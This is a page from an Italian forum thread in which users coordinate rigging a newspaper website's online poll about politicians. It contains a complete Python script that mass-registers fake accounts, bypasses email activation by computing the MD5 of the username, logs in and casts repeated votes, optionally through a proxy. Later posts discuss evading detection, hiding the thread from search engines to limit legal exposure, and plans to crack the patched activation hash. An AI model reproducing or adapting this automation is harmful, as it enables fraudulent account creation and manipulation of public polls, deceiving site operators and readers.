515
Would you like to react to this message? Create an account in a few clicks or log in to continue.

Fai la tua scelta. PDL inside

+6
deathf4n
LemonsAreGood
ForeverTroll
VirginioTrombetta
Mary Gal Ace
altre sette persone
10 posters

Page 4 of 4 Previous  1, 2, 3, 4

Go down

Fai la tua scelta. PDL inside - Page 4 Empty Re: Fai la tua scelta. PDL inside

Post  LemonsAreGood Tue Jun 07, 2011 10:21 pm

Sono riuscito ad automatizzare quasi tutto usando firefox e iMacros.
Mi manca da trovare il comando per pulire i cookies e come inventare nomi sempre nuovi per la registrazione, dopo di che dovrebbe essere a posto.
Ora esco, domani vi aggiorno!
LemonsAreGood
LemonsAreGood
Niubbo Sverginato

Posts : 14
Join date : 2011-01-04

Back to top Go down

Fai la tua scelta. PDL inside - Page 4 Empty Re: Fai la tua scelta. PDL inside

Post  VirginioTrombetta Tue Jun 07, 2011 11:06 pm

Code:
#!/usr/bin/python2.7
import sys, urllib, urllib2, time, random
from random import Random
import hashlib

def generacasuale():
   rng = Random()
   caratteri = "1234567890qwertyuiopQWERTYUIOPasdfghjklASDFGHJKLzxcvbnmZXCVBNM"
   result = ""
   for i in range(10):
      result = result + rng.choice(caratteri)
   return result

def registrazione(obj, utente, url):
   out_file = open("registrazione.htm","w") #APRE FILE
   f = obj.open( url,  utente )
   data = f.read()
   f.close()
   out_file.write(data) #SCRIVE
   out_file.close() #CHIUDE
   print "REGISTRAZIONE EFFETTUATA"

def attivazione(obj, md5hash, url):
   out_file = open("attivazione.htm","w") #APRE FILE
   f = obj.open(url + md5hash)
   data = f.read()
   f.close()
   out_file.write(data) #SCRIVE
   out_file.close() #CHIUDE
   print "ATTIVAZIONE EFFETTUATA"

def loggati(obj, utente, url):
   out_file = open("login.htm","w") #APRE FILE
   f = obj.open(url, utente)
   data = f.read()
   f.close()
   out_file.write(data) #SCRIVE
   out_file.close() #CHIUDE
   print "LOGIN ESEGUITO"
def voto(obj):
   print "Candidato " + str(candidato)
   out_file = open("voto.htm","w") #APRE FILE
   f = obj.open('http://www.libero-news.it/sondaggio.jsp?idsondaggio=427&idvoto=12' + str(candidato))
   data = f.read()
   f.close()
   out_file.write(data) #SCRIVE
   out_file.close() #CHIUDE
   print "VOTO INSERITO"
def banner():
   print "Benvenuto in TarocVot! Scegli il numero del candidato da votare!"
   print "[32] Giulio Tremonti"
   print "[33] Roberto Formigoni"
   print "[34] Angelino Alfano"
   print "[35] Mariastella Gelmini"
   print "[36] Mara Carfagna"
   print "[37] Ignazio La Russa"
   print "[38] Gianni Alemanno"
   print "[39] Roberto Maroni"
   print "[40] Flavio Tosi"
   print "[41] Luca Zaia"
   print "[42] Marina Berlusconi"
   print "[43] Franco Frattini"
   print "[44] Michela Brambilla"
   print "[45] Roberto Calderoli"
   print "[46] Maurizio Lupi"
   print "[47] Renata Polverini"
   print "[48] Alfredo Mantovano"
   print "[49] Raffaele Fitto"
   print "[50] Giuseppe Scopelliti"
   print "[51] Daniela Santanche"
   print "[52] Renato Brunetta"
   print "[53] Guido Grosetto"

def leggicandidato(stat):
   global candidato
   if (stat==1):
      candidato = raw_input("\nCodice non valido! Inserisci il codice del candidato.\nCodice: ")
   else:
      candidato = raw_input("\nInserisci il codice del candidato.\nCodice: ")
   if (candidato):
      try:
         candidato = int(candidato)
      except:
         leggicandidato(1)   
      if (candidato < 32) or (candidato > 53):
         leggicandidato(1)
   else:
      leggicandidato(1)

def legginumvoti(stat):
   global n
   if (stat==1):
      numvoti = raw_input("\nNumero voti non valido! Inserisci il numero di voti da mandare.\nVoti: ")
   else:
      numvoti = raw_input("\nInserisci il numero di voti da mandare.\nVoti: ")

   if (numvoti):
      try:      
         n = int(numvoti)
      except:
         legginumvoti(1)
      print n
   else:
      legginumvoti(1)

def leggiproxy():
   global proxy
   proxy = raw_input("\nInserisci il proxy nel seguente formato [IP]:[PORTA]. Se non si vuole usare il Proxy lasciare vuoto\nProxy: ")

def get_proxy_opener(proxyurl, proxyuser, proxypass, proxyscheme="http"):
   password_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm()
   password_mgr.add_password(None, proxyurl, proxyuser, proxypass)
   proxy_handler = urllib2.ProxyHandler({proxyscheme: proxyurl})
   proxy_auth_handler = urllib2.ProxyBasicAuthHandler(password_mgr)
   cookie = urllib2.HTTPCookieProcessor()
   return urllib2.build_opener(proxy_handler, proxy_auth_handler, cookie)









banner()
leggicandidato(0)
n=1
legginumvoti(0)
leggiproxy()


o = urllib2.build_opener( urllib2.HTTPCookieProcessor() )
urllib2.install_opener( o )



url_registrazione = "http://www.libero-news.it/registrautente.jsp"
url_attivazione = "http://www.libero-news.it/attivazione.jsp?account="
url_login = "http://www.libero-news.it/registracommenti.jsp"

for i in range(0, n):
   login = generacasuale()
   password = generacasuale()
   email = generacasuale() + "@" + generacasuale() + ".com"
   hashattivazione = hashlib.md5(login).hexdigest()
   utente_registrazione = urllib.urlencode( {
   'username': login,'password': password , 'passwordconf': password, 'email': email, 'nome':' ', 'cognome':' ', 'giorno': '01', 'mese':'01' , 'anno':'1900' , 'sesso':'m', 'provincia':' ', 'citta':' ', 'cap':' ','professione': ' ', 'telefono': ' ', 'check': '1', 'sezione': 'null' } )
   utente_login = urllib.urlencode( { 'account': login, 'password': password } )


   print "[VOTO N]" + str(n)
   print utente_login
   print utente_registrazione
   if (proxy):
      print "VOTO CON PROXY"
      url_opener = get_proxy_opener(proxy, '', '');
      urllib2.install_opener( url_opener )
      time.sleep(1)
      registrazione(url_opener, utente_registrazione, url_registrazione)
      time.sleep(0.1)
      attivazione(url_opener, hashattivazione, url_attivazione)
      time.sleep(0.1)
      loggati(url_opener, utente_login, url_login)
      voto(url_opener)
      print "VOTO ESEGUITO\n"
   else:
      print "VOTO SENZA PROXY"
      registrazione(o, utente_registrazione, url_registrazione)
      time.sleep(0.1)
      attivazione(o, hashattivazione, url_attivazione)
      time.sleep(0.1)
      loggati(o, utente_login, url_login)
      voto(o)

VirginioTrombetta
Trollino

Posts : 32
Join date : 2011-06-05

Back to top Go down

Fai la tua scelta. PDL inside - Page 4 Empty Re: Fai la tua scelta. PDL inside

Post  lulz Wed Jun 08, 2011 12:14 am

siete fantastici :rotfl:

all'inizio ha fatto un pò le bizze ma poi è partito, si vede che cadeva la connessione col proxy :asd:

lulz
Niubbo Sverginato

Posts : 20
Join date : 2011-06-06

Back to top Go down

Fai la tua scelta. PDL inside - Page 4 Empty Re: Fai la tua scelta. PDL inside

Post  VirginioTrombetta Wed Jun 08, 2011 12:15 am

lulz wrote:siete fantastici :rotfl:

all'inizio ha fatto un pò le bizze ma poi è partito, si vede che cadeva la connessione col proxy :asd:

occhio che ho fatto un edit recente al codice (3 minuti fa), prima non funzionava anche se non dava errori!!!

VirginioTrombetta
Trollino

Posts : 32
Join date : 2011-06-05

Back to top Go down

Fai la tua scelta. PDL inside - Page 4 Empty Re: Fai la tua scelta. PDL inside

Post  ForeverTroll Wed Jun 08, 2011 12:57 am

Geniale

ForeverTroll
Niubbo Sverginato

Posts : 20
Join date : 2011-06-05

Back to top Go down

Fai la tua scelta. PDL inside - Page 4 Empty Re: Fai la tua scelta. PDL inside

Post  VirginioTrombetta Wed Jun 08, 2011 1:04 am

La nostra beniamina è in cima all'olimpo, per il fap di alcuni e per il lulz di altri :)

Chiedo all'admin la cancellazione del thread ASAP perché, detta alla francese, siamo indicizzati come le bestie su google. Domani ripubblicherò le screen del primo mass-vote e di quello di stasera in un nuovo thread.
Grazie in anticipo :)

VirginioTrombetta
Trollino

Posts : 32
Join date : 2011-06-05

Back to top Go down

Fai la tua scelta. PDL inside - Page 4 Empty Re: Fai la tua scelta. PDL inside

Post  lulz Wed Jun 08, 2011 1:18 am

ma il googlebot non era bannato dal robots.txt??

lulz
Niubbo Sverginato

Posts : 20
Join date : 2011-06-06

Back to top Go down

Fai la tua scelta. PDL inside - Page 4 Empty Re: Fai la tua scelta. PDL inside

Post  lulz Wed Jun 08, 2011 1:26 am

basta settare la sezione come visibile solo agli utenti registrati :dunno:

lulz
Niubbo Sverginato

Posts : 20
Join date : 2011-06-06

Back to top Go down

Fai la tua scelta. PDL inside - Page 4 Empty Re: Fai la tua scelta. PDL inside

Post  VirginioTrombetta Wed Jun 08, 2011 1:30 am

Per ogni evenienza, commemorazione futura del lulz in particolare, ho salvato il thread sul pc :9mm:

VirginioTrombetta
Trollino

Posts : 32
Join date : 2011-06-05

Back to top Go down

Fai la tua scelta. PDL inside - Page 4 Empty Re: Fai la tua scelta. PDL inside

Post  ForeverTroll Wed Jun 08, 2011 1:32 am

Se siamo indicizzati però rimane cmq nella cache di google..

ForeverTroll
Niubbo Sverginato

Posts : 20
Join date : 2011-06-05

Back to top Go down

Fai la tua scelta. PDL inside - Page 4 Empty Re: Fai la tua scelta. PDL inside

Post  VirginioTrombetta Wed Jun 08, 2011 1:35 am

ForeverTroll wrote:Se siamo indicizzati però rimane cmq nella cache di google..

non sono preparatissimo in materia, ma in tribunale meglio doversi difendere dalla cache che dal forum stesso

VirginioTrombetta
Trollino

Posts : 32
Join date : 2011-06-05

Back to top Go down

Fai la tua scelta. PDL inside - Page 4 Empty Re: Fai la tua scelta. PDL inside

Post  HerpDerp Wed Jun 08, 2011 2:06 am

cercate di limitarvi parecchio stavolta, una volta staccato antani di 5-6 punti va già bene

HerpDerp
Niubbo

Posts : 5
Join date : 2011-06-05

Back to top Go down

Fai la tua scelta. PDL inside - Page 4 Empty Re: Fai la tua scelta. PDL inside

Post  lulz Wed Jun 08, 2011 10:54 am

probabilmente omgforum ha cambiato le opzioni di indicizzazione...

lulz
Niubbo Sverginato

Posts : 20
Join date : 2011-06-06

Back to top Go down

Fai la tua scelta. PDL inside - Page 4 Empty Re: Fai la tua scelta. PDL inside

Post  LemonsAreGood Wed Jun 08, 2011 2:38 pm

Salvate tutto, e poi piallate!
LemonsAreGood
LemonsAreGood
Niubbo Sverginato

Posts : 14
Join date : 2011-01-04

Back to top Go down

Fai la tua scelta. PDL inside - Page 4 Empty Re: Fai la tua scelta. PDL inside

Post  ForeverTroll Wed Jun 08, 2011 2:59 pm

Cos'è successo ? Dany è indietro...

Forse le hanno resettato i voti senza dirlo, visto che nell'articolo odierno parlano di successo..

ForeverTroll
Niubbo Sverginato

Posts : 20
Join date : 2011-06-05

Back to top Go down

Fai la tua scelta. PDL inside - Page 4 Empty Re: Fai la tua scelta. PDL inside

Post  LemonsAreGood Wed Jun 08, 2011 3:34 pm

Ieri a che punto era? Cmq il codice di conferma, non era altro che un url più un hash md5 dei dati inviati??

Ad ogni modo, non è che ora c'è anche il controllo ip?
LemonsAreGood
LemonsAreGood
Niubbo Sverginato

Posts : 14
Join date : 2011-01-04

Back to top Go down

Fai la tua scelta. PDL inside - Page 4 Empty Re: Fai la tua scelta. PDL inside

Post  ForeverTroll Wed Jun 08, 2011 6:15 pm

Ieri sera era prima..

Cmq si, l'attivazione era semplicemente quello

ForeverTroll
Niubbo Sverginato

Posts : 20
Join date : 2011-06-05

Back to top Go down

Fai la tua scelta. PDL inside - Page 4 Empty Re: Fai la tua scelta. PDL inside

Post  ForeverTroll Wed Jun 08, 2011 6:18 pm

Cmq adesso lo script non funziona, percui qualcosa han cambiato..

ForeverTroll
Niubbo Sverginato

Posts : 20
Join date : 2011-06-05

Back to top Go down

Fai la tua scelta. PDL inside - Page 4 Empty Re: Fai la tua scelta. PDL inside

Post  VirginioTrombetta Wed Jun 08, 2011 7:47 pm

prima l'url di attivazione era l'md5 del nome utente, ora lo hanno cambiato con qualcosa di decente, purtroppo :(
Io direi che abbiamo lollato abbastanza, possiamo ritenerci soddisfatti e magari mandare la storia e le screens al fatto quotidiano, a giornalettismo e a qualche blogger :D

VirginioTrombetta
Trollino

Posts : 32
Join date : 2011-06-05

Back to top Go down

Fai la tua scelta. PDL inside - Page 4 Empty Re: Fai la tua scelta. PDL inside

Post  LemonsAreGood Wed Jun 08, 2011 8:21 pm

Qui dentro c'è qualche talpa..
LemonsAreGood
LemonsAreGood
Niubbo Sverginato

Posts : 14
Join date : 2011-01-04

Back to top Go down

Fai la tua scelta. PDL inside - Page 4 Empty Re: Fai la tua scelta. PDL inside

Post  VirginioTrombetta Wed Jun 08, 2011 8:49 pm

LemonsAreGood wrote:Qui dentro c'è qualche talpa..

cosa te lo fa pensare?

VirginioTrombetta
Trollino

Posts : 32
Join date : 2011-06-05

Back to top Go down

Fai la tua scelta. PDL inside - Page 4 Empty Re: Fai la tua scelta. PDL inside

Post  LemonsAreGood Wed Jun 08, 2011 10:32 pm

Ogni volta che si fixa si programma quelli di libero sistemano la votazione!
E soprattutto, leggendo gli articoli che compaiono sul sito sembra che sappiano cosa facciamo!
LemonsAreGood
LemonsAreGood
Niubbo Sverginato

Posts : 14
Join date : 2011-01-04

Back to top Go down

Fai la tua scelta. PDL inside - Page 4 Empty Re: Fai la tua scelta. PDL inside

Post  Mjolnir Wed Jun 08, 2011 11:38 pm

la talpa è thargan...

Mjolnir
Niubbo

Posts : 2
Join date : 2010-07-10

Back to top Go down

Fai la tua scelta. PDL inside - Page 4 Empty Re: Fai la tua scelta. PDL inside

Post  ForeverTroll Thu Jun 09, 2011 2:44 am

LemonsAreGood wrote:Ogni volta che si fixa si programma quelli di libero sistemano la votazione!
E soprattutto, leggendo gli articoli che compaiono sul sito sembra che sappiano cosa facciamo!

Beh, ma lo vedono dai log quello che succede.....non ci vuole un genio a capire come funziona lo script

ForeverTroll
Niubbo Sverginato

Posts : 20
Join date : 2011-06-05

Back to top Go down

Fai la tua scelta. PDL inside - Page 4 Empty Re: Fai la tua scelta. PDL inside

Post  VirginioTrombetta Thu Jun 09, 2011 11:22 am

ForeverTroll wrote:
LemonsAreGood wrote:Ogni volta che si fixa si programma quelli di libero sistemano la votazione!
E soprattutto, leggendo gli articoli che compaiono sul sito sembra che sappiano cosa facciamo!

Beh, ma lo vedono dai log quello che succede.....non ci vuole un genio a capire come funziona lo script

Più che altro questo post è stato pubblico per troppo tempo, chiunque di loro può aver visto il mio script e averne dedotto gli effetti, nonché aver letto in chiaro i principi di funzionamento nei vari post... in ogni caso direi di chiudere la vicenda... almeno finché non cracko il nuovo hash ;) :tharghan:

VirginioTrombetta
Trollino

Posts : 32
Join date : 2011-06-05

Back to top Go down

Fai la tua scelta. PDL inside - Page 4 Empty Re: Fai la tua scelta. PDL inside

Post  Sponsored content


Sponsored content


Back to top Go down

Page 4 of 4 Previous  1, 2, 3, 4

Back to top


 
Permissions in this forum:
You cannot reply to topics in this forum